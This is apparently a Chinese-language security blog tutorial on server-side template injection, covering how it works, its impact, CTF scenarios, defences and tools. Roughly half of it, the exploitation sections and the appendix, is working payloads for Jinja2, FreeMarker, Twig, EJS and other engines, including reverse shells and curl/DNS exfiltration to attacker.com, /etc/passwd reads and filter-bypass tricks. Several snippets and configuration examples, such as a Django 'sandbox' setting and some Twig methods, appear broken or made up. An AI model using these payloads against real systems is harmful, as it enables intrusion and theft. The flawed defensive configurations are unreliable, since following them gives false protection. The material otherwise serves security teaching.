一、SSTI漏洞简介

在 Web 应用安全领域,服务器端模板注入(Server-Side Template Injection,简称 SSTI)漏洞如同潜伏在系统中的隐形威胁,一旦被攻击者利用,可能导致敏感信息泄露、系统命令执行甚至服务器被完全控制。本文将从多个维度系统解析 SSTI 漏洞,带您深入理解其原理、利用方式及防御策略。

二、SSTI漏洞的本质与原理

(一)模板引擎的工作机制​

模板引擎是 Web 开发中用于动态生成 HTML 页面的工具,它将固定的页面结构与动态数据分离。常见的模板引擎如 Python 的 Jinja2Flask-Template,Java 的 FreeMarkerVelocity,PHP 的 Twig 等。以 Jinja2 为例,其基本工作流程是:开发者定义包含变量占位符(如 {{variable}})的模板文件,当请求触发时,服务器将动态数据填充到占位符位置,最终生成完整的 HTML 页面返回给客户端。​

(二)漏洞产生的核心原因​

SSTI 漏洞的根源在于模板引擎对用户输入的信任与未做严格过滤。当用户输入的内容被当作模板的一部分进行解析和执行时,若输入包含恶意的模板语法或代码,模板引擎会将其视为合法指令并执行,从而导致注入攻击。例如,正常情况下用户输入的姓名会被填充到 {{name}} 位置,但若用户输入 {{ system('ls') }},在未做防护的情况下,模板引擎可能会执行系统命令列出服务器文件。


三、SSTI 漏洞发生的标志​

(一)输入验证异常响应​

当在输入框中提交包含模板语法的特殊字符时,系统返回异常或非预期结果,是判断 SSTI 漏洞存在的重要标志:​

  1. 输入49后页面显示49,表明可能存在 Jinja2 或 Twig 类型漏洞​
  2. 输入${7*7}后页面显示49,可能存在 FreeMarker 或 Velocity 漏洞​
  3. 输入#{7*7}后页面显示49,大概率存在 FreeMarker 漏洞​

(二)错误日志特征​

服务器错误日志中出现与模板解析相关的异常信息,例如:​

  1. Jinja2 报错:TemplateSyntaxError: unexpected char { at position 0​
  2. FreeMarker 报错:TemplateModelException: Failed to parse template​
  3. 日志中频繁出现非预期的表达式执行记录,如Attempt to evaluate expression: {{ system('id') }}​

(三)响应内容异常​

正常业务逻辑下,用户输入应作为纯文本显示,但存在 SSTI 漏洞时:​

  1. 输入 <script>alert(1)</script> 未被转义,直接执行弹窗
  2. 输入 {{ config }} 后,响应内容返回应用配置信息(如 SECRET_KEY、数据库连接参数)
  3. 输入系统命令相关语法后,响应内容包含服务器文件列表、用户信息等系统数据​

三、SSTI 漏洞的危害​

(一)敏感信息泄露​

攻击者可通过漏洞获取服务器及应用的核心数据:​

  1. 读取系统配置文件:/etc/passwd、/etc/shadow、/etc/hosts等​
  2. 窃取应用敏感信息:数据库连接密码、API 密钥、用户凭证等​
  3. 获取用户隐私数据:通过读取应用数据文件或数据库,获取用户姓名、手机号、身份证号等​

(二)系统权限控制​

利用漏洞执行系统命令,实现对服务器的完全控制:​

  1. 执行whoami查看当前用户权限,若返回root则可控制整个系统​
  2. 通过rm -rf /等命令删除系统文件,导致服务器瘫痪​**
  3. 植入后门程序,如写入恶意脚本到/etc/rc.d/rc.local实现开机自启动​

(三)横向渗透跳板​

以被攻击服务器为据点,向内部网络扩展攻击:​

  1. 通过nmap扫描内网存活主机及开放端口
  2. 利用获取的数据库账号密码连接内网数据库​
  3. 窃取服务器上的 SSH 密钥(如~/.ssh/id_rsa),登录其他服务器​

(四)数据篡改与勒索​

  1. 修改网站首页内容,显示攻击标语或勒索信息​
  2. 加密用户数据并索要赎金,如针对电商平台的订单数据加密​
  3. 篡改交易记录,窃取资金或修改用户权限​

四、SSTI 漏洞的影响范围​

(一)技术栈覆盖范围​

几乎所有使用模板引擎的编程语言及框架均受影响:​

  1. Python 生态:Jinja2、Django Template、Mako、Cheetah​
  2. Java 生态:FreeMarker、Velocity、Thymeleaf、Groovy Templates​
  3. PHP 生态:Twig、Smarty、Blade(Laravel 模板引擎)​
  4. 其他语言:Ruby 的 ERB、Node.js 的 EJS、Go 的 html/template 等​

(二)行业应用场景​

  1. 企业官网与 CMS 系统:如 WordPress(插件漏洞)、织梦 CMS、帝国 CMS 等​
  2. 电商与交易平台:用户评论、商品描述、订单备注等输入场景​
  3. OA 与办公系统:内部通知、文件上传描述、用户留言板功能​
  4. API 接口服务:接收 JSON/XML 格式输入并动态渲染的 API 端点​
  5. 教育与考试系统:在线作业提交、答案解析展示等模块​

(三)攻击面扩展​

  1. 直接用户输入场景:评论框、搜索栏、表单提交​
  2. 间接数据传递:URL 参数(如/page?name=xxx)、HTTP 请求头(如User-Agent)​
  3. 文件内容解析:上传的 CSV/JSON 文件、模板文件导入功能​
  4. 数据库存储数据:从数据库读取并渲染到页面的用户历史输入​

五、实际应用中常发生 SSTI 漏洞的地方​

(一)内容发布系统​

  1. 用户评论模块:未对评论内容做模板语法过滤,如论坛、博客评论区​
  2. 文章编辑功能:富文本编辑器未正确转义用户输入的 HTML 与模板语法​
  3. 标签与分类系统:用户自定义标签被直接插入到页面模板中​

(二)电商与社交平台​

  1. 商品描述与详情页:商家或用户填写的商品描述包含恶意模板语法​
  2. 个人资料简介:用户签名、个人简介等字段未做安全校验​
  3. 聊天与私信系统:即时通讯内容被动态渲染时触发漏洞​

(三)管理后台系统​

  1. 数据导入功能:导入 CSV/Excel 文件时未验证数据格式​
  2. 动态配置页面:管理员自定义系统提示语、邮件模板等功能​
  3. 日志查询与展示:未对查询结果做转义处理直接渲染到页面​

(四)API 与微服务​

  1. RESTful API 接口:接收 JSON 数据中的template字段并动态解析​
  2. 模板生成服务:根据用户传入的模板参数生成报告或文档​
  3. 消息队列处理:消费包含模板语法的消息并进行渲染​

六、CTF 中常见的 SSTI 漏洞场景​

(一)Web 渗透类题目​

  1. 模板语法探测关卡:要求识别不同模板引擎的语法特征,如区分 Jinja2 与 FreeMarker​
  2. 环境信息获取题:通过 SSTI 读取服务器环境变量、应用配置等信息​
  3. 命令执行突破题:绕过关键字过滤(如过滤os、system)实现系统命令执行​

(二)代码审计类题目​

  1. 模板引擎配置漏洞:分析 Flask/Jinja2 配置文件,找出未禁用危险函数的代码​
  2. 输入过滤缺失题:审查用户输入处理函数,发现未转义的模板渲染点​
  3. 沙箱绕过挑战:在限制严格的模板沙箱中,利用类继承链或特殊方法突破限制​

(三)综合利用类题目​

  1. SSTI 与文件上传结合:通过 SSTI 漏洞获取文件上传路径,再结合文件包含漏洞​
  2. SSTI 与数据库交互:利用漏洞获取数据库连接信息,结合 SQL 注入完成攻击​
  3. 反弹 Shell 完整流程:从信息收集到执行反弹 Shell 命令,完成服务器控制​

(四)典型 CTF 题目示例​

  • 题目场景:某 Flask 应用的搜索功能存在 SSTI 漏洞,要求读取/flag.txt文件

    • 解题思路:使用 Jinja2 语法
      1
      {{ __import__('os').popen('cat /flag.txt').read() }}​
  • 题目场景:FreeMarker 模板禁用了java.lang.Runtime类,要求绕过限制执行命令

    • 解题思路:通过反射获取其他类执行命令,如:
      1
      ${class.forName('java.lang.ProcessBuilder').getConstructor(String\[\].class).newInstance(\["id"]).start()}​
  • 题目场景:PHP Twig 模板过滤了system等函数,要求利用其他方式执行命令

    • 解题思路:利用如下命令,通过过滤器间接执行
      1
      {{ _self.env.getFilter('convert_uuencode').filter('id') }}

七、SSTI漏洞的利用技巧​

(一)检测阶段代码解析

1.数学运算测试

1
2
{{7*7}}  # 预期49
{{7*'7'}} # 预期7777777

作用

  • 测试模板引擎是否执行运算
  • 第一个测试基本运算能力
  • 第二个测试字符串操作能力(Python中7*’7’会重复字符串7次)
  • 无回显时需结合时间延迟判断(如复杂计算导致响应延迟)

2.字符串操作测试

1
{{'a'+'b'}}  # 预期ab

作用

  • 验证字符串连接功能
  • 测试模板引擎的字符串处理能力
  • 无回显场景下可尝试超长字符串观察内存/响应时间变化

(二)确认阶段代码解析(无回显技术)

1.时间延迟技术

1
{% if 1 == 1 %}sleep(5){% endif %}

技术细节

  • 利用模板条件语句执行系统命令
  • sleep(5)会使服务器进程暂停5秒
  • 通过测量响应时间确认漏洞存在
  • 不同引擎语法可能不同(Jinja2用{% %},Twig类似)

2.外部交互技术

1
{{request.application.__globals__.__builtins__.__import__('os').popen('curl http://attacker.com/?test').read()}}

代码分解

  1. request.application:访问Flask应用对象
  2. __globals__:获取全局变量字典
  3. __builtins__:访问内置函数
  4. __import__('os'):动态导入os模块
  5. popen():执行系统命令
  6. curl http://attacker.com/?test:向攻击者服务器发起HTTP请求

无回显利用

  • 通过DNS/HTTP日志确认命令执行
  • 可用于外带数据(如:curl http://attacker.com/$(whoami)

3.DNS外带技术

1
{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['system']('nslookup attacker.com')}}

代码分解

  1. ''.__class__:获取字符串类(Python中为str)
  2. __mro__[1]:获取父类(object)
  3. __subclasses__()[132]:找到可用的子类(通常是Popen或os._wrap_close)
  4. __init__.__globals__:访问该类的全局变量
  5. ['system']:获取system函数
  6. nslookup attacker.com:执行DNS查询

优势

  • DNS请求通常不受防火墙限制
  • 可通过子域名携带数据(如$(whoami).attacker.com

(三)利用阶段代码解析

1.反向Shell示例

1
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.0.0.1/4242 0>&1"').read()}}

代码分解

  1. config:Flask配置对象
  2. __class__.__init__.__globals__:访问全局命名空间
  3. ['os']:获取os模块
  4. popen():执行命令
  5. bash -i >& /dev/tcp/10.0.0.1/4242 0>&1:Bash反向shell命令

无回显要点

  • 不需要输出即可建立连接
  • 需提前在攻击机监听(nc -lvnp 4242

2.文件读取示例

1
{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['open']('/etc/passwd').read()}}

变种(无回显时)

1
{{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['open']('/etc/passwd').read() | urlencode}}

然后通过DNS/HTTP外带数据

环境变量泄露

1
{{self.__dict__._TemplateReference__context.config}}

(四)关键技术点说明

1.对象链遍历:

  • Python通过__class____mro____subclasses__()等方式遍历对象继承链
  • 目的是找到包含危险函数(os.system、open等)的类

2.全局变量访问:

  • __globals__是关键属性,包含模块级别的全局变量
  • 类似PHP中的GLOBALS或Java的ClassLoader

3.无回显适配:

  • 所有利用必须产生可观测的副作用
    • 网络请求(HTTP/DNS)
    • 时间延迟
    • 文件系统变化
    • 服务行为改变

4.多引擎兼容:

  • 不同模板引擎的语法差异:
    1
    2
    3
    4
    // JavaScript模板引擎
    ${"a".constructor.prototype}
    // Ruby ERB
    <%= 7 * 7 %>

(五)防御绕过技巧

1.字符串拼接:

1
{{'o'+'s'}.popen('id')}}

2.属性访问替代:

1
{{request['application']['__globals__']}}

3.过滤器滥用:

1
{{'id'|system}}

4. 编码混淆:

1
{{'\x6f\x73'.popen('id')}}

八、SSTI 漏洞的防御与修复策略​

(一)输入输出双重防护​

1.严格输入校验

  • 采用白名单机制,仅允许字母、数字、常用符号等安全字符输入​
  • 使用正则表达式过滤模板语法特征字符,如\{\{、\}\}、$\{、#\{等​
  • 示例(Python 正则过滤):
    1
    2
    3
    4
    5
    6
    import re
    def sanitize_input(input_str):
    # 过滤 Jinja2/FreeMarker 等模板语法
    if re.search(r'\{\{.*?\}\}|\$\{.*?\}|#\{.*?\}', input_str):
    return "" # 或抛出异常
    return input_str

2.输出转义​处理

  • 在模板渲染时对用户输入进行强制转义,不同模板引擎的转义方式:​
    • Jinja2:使用 {{ content|e }}{{ content|escape }}
    • FreeMarker:使用${content?html}
    • Twig:使用{{ content|escape }}
  • 示例(Flask 应用配置):
    1
    2
    3
    4
    5
    6
    7
    8
    from flask import Flask, render_template_string
    app = Flask(__name__)
    # 开启全局转义
    app.jinja_env.autoescape = True
    @app.route('/page/<name>')
    def page(name):
    # 显式转义用户输入
    return render_template_string("Hello, {{ name|e }}!")

(二)模板引擎安全配置

1.禁用危险函数​

  • Jinja2安全配置
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    from jinja2 import Environment, StrictUndefined
    env = Environment(
    undefined=StrictUndefined, # 严格模式,未定义变量报错
    autoescape=True, # 自动转义
    # 限制可用全局函数,仅保留必要函数
    globals={
    'dict': dict,
    'list': list,
    'str': str,
    'len': len,
    'abs': abs
    }
    )
  • FreeMarker安全配置: 在freemarker.properties中添加:
    1
    2
    3
    classic_compatible=false  # 禁用经典兼容模式
    new_builtin_class_enabled=false # 禁用新建类
    auto_include_classpath_prefixes= # 清空自动包含的类路径

2.沙箱环境限制
使用模板引擎的沙箱机制限制对象访问,如Django的模板沙箱:

1
2
3
4
5
6
# settings.py 配置
TEMPLATE_OPTIONS = {
'sandbox': True, # 启用沙箱模式
'allowed_syntax': ['variable', 'filter', 'tag'], # 允许的语法
'forbid_newstyle_getitem': True # 禁止新式索引访问
}

(三)代码开发安全规范

1.避免动态模板渲染​

  • 尽量使用静态模板,减少render_template_string等动态渲染函数的使用​
  • 示例(Flask 安全写法):
    1
    2
    3
    4
    # 不安全写法:动态渲染用户输入
    render_template_string(user_input)
    # 安全写法:使用固定模板,变量通过参数传递
    render_template('fixed_template.html', content=user_input)

2.分离数据与模板​
确保用户输入仅作为数据传递,不参与模板逻辑​
在服务端对用户输入进行严格清洗,使用专门的函数处理不可信数据​

(四)运行时监控与应急响应​

  1. 日志审计异常检测​
  • 记录所有模板渲染的输入内容,重点监控包含{{、${等字符的请求​
  • 使用 WAF(Web 应用防火墙)拦截包含模板语法的恶意请求​
  • 示例(Nginx 拦截规则):
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    location / {
    if ($request_method = POST) {
    if ($request_body ~* "(\{\{|\}\}|\$\{|\#\{)") {
    return 403; # 禁止包含模板语法的POST请求
    }
    }
    if ($query_string ~* "(\{\{|\}\}|\$\{|\#\{)") {
    return 403; # 禁止包含模板语法的URL参数
    }
    }
  1. 应急响应与漏洞修复​
  • 及时发现并修复漏洞,避免被攻击者利用​
  • 定期更新模板引擎版本,修复已知漏洞​
  • 加强用户输入的校验与过滤,防止恶意注入​
  • 对遗留系统进行安全评估,添加额外的防护中间件​
  • 针对已发现的漏洞,可采用以下紧急修复措施:​
    • 在应用入口处添加全局过滤中间件,拦截恶意输入​
    • 临时关闭动态模板渲染功能,改为静态页面展示

九、SSTI 漏洞的利用与利用工具​

(一)检测工具

  1. tplmap:自动化SSTI检测和利用工具

    1
    python tplmap.py -u 'http://target/page?name=John'
  2. Burp Suite插件

    • SSTI Scanner
    • ActiveScan++
  3. 手工检测工具包

    1
    2
    # 常用payload集合
    git clone https://github.com/payloadbox/ssti-payloads

(二)利用工具/自动化工具

1.通用工具

  1. tplmap

    1
    python tplmap.py -u 'http://target/page?name=*' --os-shell
  2. SSTI Exploit Kit

    1
    git clone https://github.com/vladko312/SSTI-exploit

2.无回显专用

  1. DNS OOB检测

    1
    python ssti_detector.py -u http://target -d yourdomain.com
  2. 时间延迟检测

    1
    python ssti_blind.py -u http://target --time-based

3.自定义工具示例

1
2
3
4
5
6
7
8
9
10
11
12
import requests
import time

def check_blind_ssti(url, param, payload):
start = time.time()
requests.get(url, params={param: payload})
elapsed = time.time() - start
return elapsed > 5 # 假设延迟超过5秒为漏洞存在

# 使用示例
if check_blind_ssti('http://target/page', 'name', '{% if 1 == 1 %}sleep(10){% endif %}'):
print("Potential blind SSTI found!")

十、附录:常见模板引擎payload合集

(一)Jinja2(Python)Payloads

1.基础信息探测

1
2
3
4
5
6
7
8
9
10
11
# 查看环境变量
{{env}}
{{config}}
{{request.environ}}

# 查看内置函数
{{dir(__builtins__)}}
{{__builtins__.__dict__}}

# 查看当前模块
{{__class__.__mro__[2].__subclasses__()}}

2.命令执行(高危)

1
2
3
4
5
6
7
8
9
# 传统OS模块调用
{{().__class__.__base__.__subclasses__()[40]('id',shell=True,stdout=-1).communicate()[0].strip()}}

# 优化版命令执行(适用于多数场景)
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

# 交互式命令执行(需配合回显)
{{''.join(__import__('os').popen('ls /').readlines())}}
{{().__class__.__base__.__subclasses__()[59].__init__.__globals__['system']('cat /etc/passwd')}}

3.文件操作

1
2
3
4
5
6
# 读取文件
{{open('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[40]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}

# 写入文件(需权限)
{{open('/tmp/test.txt','w').write('SSTI Vulnerable!')}}

4.进阶利用(反弹Shell)

1
2
# Python反弹Shell(需服务器监听)
{{__import__('os').system('python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker.com\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"')}}

(二)FreeMarker(Java)Payloads

1.基础环境探测

1
2
3
4
5
6
${server.info}
${client.remote_address}
${request?server_name}

${classloader.resources}
${static::java.lang.System@getProperties()}

2.命令执行(高危)

1
2
3
4
5
6
7
8
9
# 传统Runtime.getRuntime()调用
${"freemarker.template.utility.Execute"?new()("id")}

# 利用Class.forName反射
${Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("whoami")}

# 优化版命令执行
${(new java.lang.ProcessBuilder(new java.lang.String[]{"ls","-la"})).start()}
${java.lang.Runtime.getRuntime().exec("cat /etc/passwd").text}

3.文件操作

1
2
3
4
5
6
# 读取文件
${new java.io.File("/etc/passwd").text}
${java.nio.file.Files.readAllLines(java.nio.file.Paths.get("/etc/passwd"))}

# 写入文件(需权限)
${new java.io.File("/tmp/test.txt").write("FreeMarker SSTI Test")}

4.反弹Shell(需配合监听)

1
${"freemarker.template.utility.Execute"?new()("bash -c 'exec bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}

(三)Twig(PHP)Payloads

1.基础信息探测

1
2
3
4
5
6
{{_self.env.config}}
{{app.request.server}}
{{app.environment}}

{{_self.env.getFilter('capitalize').getCallable()}}
{{_self.env.callable_to_function(["system","id"])}}

2.命令执行(高危)

1
2
3
4
5
6
7
8
9
10
11
# 利用PHP原生函数
{{system('id')}}
{{exec('whoami')}}
{{shell_exec('ls /')}}

# 利用Twig扩展函数
{{_self.env.registerUndefinedFilterCallback("system")("cat /etc/passwd")}}
{{_self.env.getFilter("system")("id")}}

# 利用PHP反射机制
{{_self.env.callable_to_function([(new ReflectionFunction("system"))->getFileName(),"system"],"id")}}

3.文件操作

1
2
3
4
5
6
# 读取文件
{{file_get_contents('/etc/passwd')}}
{{stream_get_contents(fopen('/etc/passwd','r'))}}

# 写入文件(需权限)
{{file_put_contents('/tmp/test.txt','Twig SSTI Vulnerable!')}}

4.反弹Shell(需PHP环境支持)

1
{{system("php -r '$sock=fsockopen(\"attacker.com\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'")}}

(四)Velocity(Java)Payloads

1.命令执行核心Payload

1
2
3
4
5
6
7
8
# 基础命令执行
$set($x=''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('id'))

# 优化版(适用于多数场景)
$class = $class.inspect("java.lang.Runtime")
$runtime = $class.getMethod("getRuntime", null).invoke(null, null)
$process = $runtime.exec("whoami")
$process.getInputStream()

2.综合利用Payload

1
2
3
4
5
6
7
8
# 完整命令执行链
#set($cmd = "cat /etc/passwd")
#set($rt = $context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null))
#set($pb = $rt.exec($cmd))
#set($is = $pb.getInputStream())
#set($br = new java.io.BufferedReader(new java.io.InputStreamReader($is)))
#set($output = $br.readLine())
$output

(五)EJS(Node.js)Payloads

1.命令执行核心Payload

1
2
3
4
5
6
<% var require = global.require || process.mainModule.constructor._load; %>
<% var child_process = require('child_process'); %>
<% child_process.exec('id', function(error, stdout, stderr) { %><%= stdout %><% }); %>

// 简化版
<% const { exec } = require('child_process'); exec('whoami', (err, stdout) => { console.log(stdout); }); %>

2.反弹Shell实现

1
2
3
4
<% var require = global.require || process.mainModule.constructor._load; %>
<% var net = require('net'); var spawn = require('child_process').spawn; %>
<% var client = new net.Socket(); client.connect(4444, "attacker.com", function() { %>
<% var sh = spawn('/bin/sh', []); client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); %>

(六)Smarty(PHP)Payloads

1.命令执行核心Payload

1
2
3
4
5
6
{php}system('id');{/php}
{eval}{$a=system('whoami');}{/eval}

{assign var="cmd" value="cat /etc/passwd"}
{php}$output = shell_exec($cmd);{/php}
{php}echo $output;{/php}

2.进阶利用(绕过disable_functions)

1
{php}$p = new Phar('/tmp/test.phar'); $p->startBuffering(); $p->setStub('<?php __HALT_COMPILER(); ?>'); $p->setMetadata(array('cmd' => 'system("id")')); $p->addFromString('test.txt', ''); $p->stopBuffering(); @unlink('/tmp/test.php'); rename('/tmp/test.phar', '/tmp/test.php');{/php}

(七)Mustache(多语言)Payloads

1.Python环境下的Payload

1
2
3
4
5
6
# 配合Python后端漏洞
{{#*inline 'code'}}
import os
os.popen('id').read()
{{/inline}}
{{&code}}

2.JavaScript环境下的Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('id');"}}
{{this.pop}}
{{constructor.constructor(this.join(''))()}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

(八)通用Payload技巧

1.动态类查找技巧

1
2
3
4
5
# Jinja2中查找关键类(以os._wrap_close为例)
{{[].__class__.__base__.__subclasses__() | selectattr("__name__", "equalto", "catch_warnings") | list}}

# FreeMarker中反射查找类
${Class.forName("java.lang.ProcessBuilder")}

2.命令执行结果回显优化

1
2
3
4
5
# Jinja2中合并多行输出
{{''.join(__import__('os').popen('ls -la /').readlines())}}

# FreeMarker中读取输出流
${new java.util.Scanner(new java.lang.ProcessBuilder("cat","/etc/passwd").start().getInputStream()).useDelimiter("\\A").next()}

3.编码绕过技巧(以Base64为例)

1
2
3
4
5
# Jinja2中Base64编码绕过
{{().__class__.__base__.__subclasses__()[40]("echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash",shell=True,stdout=-1).communicate()[0].strip()}}

# PHP中Base64编码命令
{{system("echo Y2F0IC9ldGMvcGFzc3dk | base64 -d")}}

4.沙箱绕过高级技巧

1
2
3
4
5
# Jinja2中绕过沙箱(适用于部分限制场景)
{{self.__dict__.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()")}}

# FreeMarker中利用JNDI注入
${jndi:ldap://attacker.com:1389/Exploit}

⚠️ 警告:上述Payload仅用于安全研究与漏洞验证,未经授权在非授权环境中执行可能违反法律法规。实际渗透测试中需严格遵守授权范围,开发者应将这些Payload作为安全编码的反面教材,强化系统防御。


十一、总结与安全建议

SSTI 漏洞作为 Web 应用中极具威胁的安全风险,其本质是模板引擎对用户输入的信任缺失。从攻击者角度看,掌握不同模板引擎的语法特性和利用技巧是实施攻击的关键;从防御者角度出发,需构建 “输入过滤 - 模板沙箱 - 安全开发 - 运行监控” 的多层防护体系。对于企业和开发者而言,应将 SSTI 漏洞的防范纳入日常安全流程,定期进行安全培训和代码审计,避免因疏忽导致的安全事故。​

在实际开发中,建议:

  • 遵循 “最小权限原则” 配置模板引擎
  • 对所有用户输入保持 “不信任” 态度
  • 通过自动化测试工具(如 OWASP ZAP、Burp Suite)定期扫描系统漏洞

唯有 保持对漏洞的敬畏与持续的技术更新,才能有效抵御不断演变的攻击手段,守护 Web 应用的安全底线。


结语

思维的碰撞,往往诞生于一场积极的交流;智慧的火花,常在热烈的讨论中闪耀。如果您在这片文字的海洋里,找到了共鸣或产生了独特的见解,不妨在评论区留下您的声音。我珍视每一位读者的思考,期待与您一同构建一个充满活力的思想社区。
同时,为了不错过更多精彩内容和深度交流的机会,也欢迎大家加入我:

无论是评论区的畅所欲言,还是在各个平台上与我们并肩同行,都将是推动我不断前行的动力。ByteWyrm,因您的参与而更加精彩!